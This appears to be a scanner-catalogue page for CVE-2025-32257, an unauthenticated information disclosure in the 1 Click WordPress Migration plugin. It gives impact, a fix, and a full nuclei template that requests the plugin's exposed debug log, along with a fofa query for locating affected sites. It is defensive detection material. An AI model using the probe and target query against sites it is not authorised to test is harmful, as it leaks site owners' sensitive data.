1 Click WordPress Migration <= 2.2 - Unauthenticated Information Disclsoure

mediumseverity

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

1 Click WordPress Migration <= 2.2 contains an information disclosure caused by uncleared debug information, letting attackers retrieve embedded sensitive data, exploit requires no specific privileges.

Impact

Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.

Fix

Remove debug information and update to the latest version of 1 Click WordPress Migration.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/1-click-migration/ocm_debug.log
Positive when: status_code == 200 and contains_all(body, "debug log content","SYSLOG","Archiving plugins")

Run it with nuclei: nuclei -id CVE-2025-32257 -u <target>

The full check

id: CVE-2025-32257
info:
  name: 1 Click WordPress Migration <= 2.2 - Unauthenticated Information Disclsoure
  author: pussycat0x
  severity: medium
  description: |
    1 Click WordPress Migration <= 2.2 contains an information disclosure caused by uncleared debug information, letting attackers retrieve embedded sensitive data, exploit requires no specific privileges.
  impact:
    Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.
  remediation:
    Remove debug information and update to the latest version of 1 Click WordPress Migration.
  reference:
    https://wpscan.com/vulnerability/03211216-8cc9-49f9-83da-9fbc57554816/
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/1-click-migration/"
    vendor: 1-click-migration
    product: 1-click-migration
    framework: wordpress
  tags: cve,cve2025,wpscan,wordpress,wp-plugin,1clickmigration,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/1-click-migration/ocm_debug.log"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "debug log content","SYSLOG","Archiving plugins")'
        condition: and

References

https://wpscan.com/vulnerability/03211216-8cc9-49f9-83da-9fbc57554816/

Use this check only on systems you are authorised to test. Where the data comes from